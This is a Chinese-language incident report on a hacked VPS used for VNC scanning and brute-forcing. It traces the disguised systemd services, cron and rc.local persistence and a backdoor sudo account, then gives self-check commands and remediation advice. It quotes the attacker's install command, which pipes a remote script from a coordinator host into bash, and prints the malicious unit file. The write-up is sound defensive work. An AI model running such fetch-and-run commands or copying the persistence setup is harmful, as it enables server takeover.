VPS 被黑后沦为 VNC 扫描 / 爆破节点：一次排查记录及自查方法

VPS 被黑后沦为 VNC 扫描 / 爆破节点：一次排查记录及自查方法

最近发现一台 VPS 的 CPU 占用异常，使用 htop 检查后，发现多个伪装成 systemd 组件的可疑进程。

进一步排查发现，服务器早在 2026 年 9 月 9 日就已经遭到入侵。攻击者创建了一个名为 systemctl 的账户，赋予 sudo 权限，通过 SSH 登录后安装了一套远程控制程序，将 VPS 变成了 VNC 扫描和密码爆破节点。

更麻烦的是，这套程序配置了 systemd + cron + rc.local + 多处二进制备份，即使杀死进程或删除部分文件，也可能自动恢复。

整理一下这次排查过程，也提醒其他 VPS 用户检查自己的服务器。

一、最初发现：CPU 占用异常

通过 htop 发现多个高 CPU 占用进程：```
/var/lib/systemd/catalog/update-helper \
/var/lib/systemd/catalog/.cache/targets.txt \
/var/lib/systemd/catalog/.cache/passwords.txt \
200 3600

``另外还发现：``
/var/lib/systemd/catalog/systemd-sync-helper
/var/lib/systemd/catalog/systemd-network-monitor
/var/lib/systemd/catalog/socket-helper

```这些名称看起来像正常系统组件，但并不是标准的 systemd 程序。

检查文件目录：```
ls -lah /var/lib/systemd/catalog/
ls -lah /var/lib/systemd/catalog/.cache/

``发现了：``
update-helper 2.8M
socket-helper 4.2M
systemd-sync-helper 11M
systemd-network-monitor 7.1M

.cache/targets.txt 37M
.cache/passwords.txt 856B
.cache/agent.log 33M
.cache/found_vnc_passwords.txt
.cache/found_vnc_noauth.txt

```从这些文件名、进程参数及后续连接记录判断，这套程序主要用于 VNC 扫描与密码尝试，同时还包含 SSH 爆破组件。

使用：```
ss -tanp

``发现服务器持续对外建立大量 TCP 连接，目标端口包括 5900、5901、5903` 等常见 VNC 端口。

例如：```
37.27.185.201:5900
65.21.151.28:5900
78.47.46.133:5901
95.216.222.142:5903

```这些 IP 是扫描目标，不一定是攻击者控制的服务器，更不代表这些目标一定存在漏洞。

二、发现远程控制和自动恢复机制

继续检查：```
systemctl list-unit-files --all | grep -Ei 'helper|update|sync|monitor'

``发现了两个可疑服务：``
systemd-catalog-sync.service
systemd-resolved-monitor.service

``其中主服务配置包含：``
[Service]
User=root
ExecStart=/var/lib/systemd/catalog/systemd-sync-helper
Restart=always
RestartSec=3
OOMScoreAdjust=-1000

Environment=COORDINATOR_URL=https://vibepass.us
Environment=BRUTE_BINARY=/var/lib/systemd/catalog/update-helper
Environment=SSH_BRUTE_BINARY=/var/lib/systemd/catalog/socket-helper
Environment=COORDINATOR_TLS_SKIP_VERIFY=1

``其中的 vibepass.us` 是这次样本中配置的远程协调服务器地址，不是正常的 systemd 更新地址。

程序还设置了：

- Restart=always：自动重启服务。

- OOMScoreAdjust=-1000：尽量避免被 OOM Killer 终止。

- COORDINATOR_TLS_SKIP_VERIFY=1：跳过协调服务器的 TLS 证书验证。

- 另一套 watchdog：监控、备份并尝试恢复主 Agent。

检查 /etc/cron.d/，还发现一个 sys-warden 文件，配置了开机运行和每 5 分钟检查一次守护程序：```
@reboot ...
/5 * ...

``此外，/etc/rc.local` 也被添加了启动命令。

进一步从日志中发现，守护程序还会：

- 使用 chattr +i 保护自身文件。

- 在多个隐藏目录保存可执行文件备份。

- 监控主 Agent 是否存活。

- 尝试恢复被停止或丢失的组件。

发现的备份路径包括：```
/var/lib/systemd/private/.sys
/var/lib/accountsservice/.helper
/usr/local/lib/.sys-monitor
``所以，**单纯 kill` 进程或删除主程序，并不能保证清理干净。**

三、通过 SSH 日志追溯到了安装过程

这部分是最关键的发现。

使用：```
journalctl -u ssh --since "2026-09-08" \
--until "2026-09-16" --no-pager \
| grep -E 'Accepted |session opened'
``发现一个从未由我创建过的用户：``
systemctl
``注意，这里不是 Linux 的 systemctl` 命令，而是攻击者使用的 Linux 用户名。

它拥有 sudo 权限：```
uid=1000(systemctl)
groups=1000(systemctl),27(sudo)
```通过系统日志还原出的时间线如下（服务器时间 EDT）：

时间 |
事件 |

09-09 02:37:55 |
系统收到 SIGINT，进入重启流程 |

09-09 02:38 左右 |
账户数据库发生修改 |

09-09 02:39:16 |
systemctl 通过本地终端登录 |

09-09 02:39:44 |
该账户通过 sudo 编辑 SSH 配置 |

09-09 02:40:03 |
从 104.153.208.101 SSH 密码登录成功 |

09-09 02:40:39 |
从 45.39.60.60 SSH 密码登录成功 |

09-09 02:40:40 |
使用 sudo 下载并执行远程安装脚本 |

09-09 02:40:50 |
恶意 watchdog 服务启动 |

09-09 02:40:56 |
恶意扫描 Agent 启动 |

09-09 02:40:57 |
建立隐藏备份和其他自恢复机制 |

其中最有说服力的是 sudo 日志，记录了攻击者执行安装脚本的行为。

整理后的关键命令如下（认证信息已隐藏）：```
curl -fsSL \
-H 'Authorization: Bearer [REDACTED]' \
'https://vibepass.us/files/install.sh' \
| bash
``这说明有人使用 systemctl` 账户取得了 root 权限，并直接执行远程下载的脚本。

9 月 15 日，还发现来自 185.255.126.3 的两次 systemctl 密码登录成功记录。

这些 IP 是相关 SSH 登录的来源 IP，不足以直接确认攻击者的真实身份，也不能排除代理或中转服务器。

四、后门账户是什么时候创建的？

通过对比系统保留的账户数据库备份：```
diff -u /etc/passwd- /etc/passwd
diff -u /etc/group- /etc/group
``发现：``
+systemctl:x:1000:1000::/home/systemctl:/bin/sh
``以及：``
-sudo:x:27:
+sudo:x:27:systemctl
```/etc/shadow- 中同样没有这个账户，而当前 /etc/shadow 中存在。

账户数据库的文件修改时间集中在 9 月 9 日 02:38 左右，与系统重启及后续登录高度吻合。

另外，日志显示系统在重启之后，先出现了 systemctl 的本地终端登录，随后才出现 SSH 登录。

因此怀疑攻击者可能利用 VPS 控制台、救援环境或之前取得的管理权限创建账户，但目前还没有证据确定最初的入侵入口。

这里也有一个值得一提的背景：这台 VPS 之前曾经出现过另一个未经授权的账户 userb，当时已经进行过清理，但没有重装系统。

这两次事件是否存在关联，目前不能确认。

五、建议其他 VPS 用户如何自查？

以下命令主要用于检查，不会主动删除文件或停止服务。

1. 检查高 CPU 占用和异常进程```
htop

ps auxww --sort=-%cpu | head -30
``特别关注运行在 /tmp、/var/tmp、/dev/shm` 或不寻常系统数据目录中的未知可执行程序。

2. 检查最近的成功 SSH 登录```
last -ai | head -50

journalctl -u ssh --no-pager \
| grep 'Accepted ' | tail -50
``部分系统的服务名为 sshd，也可以直接检查 /var/log/auth.log*`。

3. 检查账户和 sudo 权限```
awk -F: '$3 >= 1000 && $3 < 65534' /etc/passwd

awk -F: '$3 == 0' /etc/passwd

getent group sudo
```检查是否存在自己不认识的用户。注意 UID 大于等于 1000 的账户不一定是恶意账户。

4. 检查 systemd 自定义服务```
systemctl list-unit-files --type=service

ls -lah /etc/systemd/system/
``对可疑服务可以继续：``
systemctl cat suspicious.service
systemctl status suspicious.service
``不要仅因为服务名称包含 systemd` 就认为它是可信的。

5. 检查定时任务和其他自启动项```
crontab -l

ls -lah /etc/cron.d/
ls -lah /etc/cron.hourly/

cat /etc/rc.local 2>/dev/null
``还应关注 /etc/crontab`、其他用户的 crontab，以及 systemd timers。

6. 检查异常网络连接```
ss -tunap
```如果 VPS 没有扫描业务，却出现大量对不同外部 IP、不同端口的并发连接，需要进一步排查对应进程。

7. 检查 SSH 的实际配置```
sshd -T | grep -Ei \
'permitrootlogin|passwordauthentication|pubkeyauthentication'
``不要只检查 /etc/ssh/sshd_config` 中是否注释了某项设置，还需要检查实际生效的配置。

六、处理建议

如果确认服务器已经遭到入侵，尤其是攻击者已经取得 root 权限：

- 尽快通过服务商防火墙阻断恶意流量。

- 保留必要的日志、快照和证据。

- 不要认为删除恶意用户或进程就已经安全。

- 最好从可信系统镜像重装，只恢复经过检查的业务数据和配置。

- 轮换 SSH 密钥、密码、应用密钥，以及可能泄露的其他凭据。

- 尽量使用 SSH 公钥登录，禁用密码认证，并限制 SSH 管理入口。

对于重要服务，建议使用新的 VPS 实例重新部署，而不是继续信任一台已经被 root 权限恶意程序长期控制的系统。

最后

这次比较意外的是，恶意程序并没有使用特别隐蔽的技术，而是利用看起来正常的 systemd 命名、隐藏目录、自动重启、定时任务和备份恢复机制，长期驻留在服务器中。

如果不是因为 CPU 占用异常，可能还不会这么快发现。

目前已经确认了恶意程序的安装过程及多个持久化入口，但最初如何获得服务器管理权限，仍在调查中。

也提醒大家：如果 VPS 曾经被黑过，尤其是对方已经取得 root 权限，只删除一个后门账户可能远远不够。重装系统通常才是更可靠的恢复方式。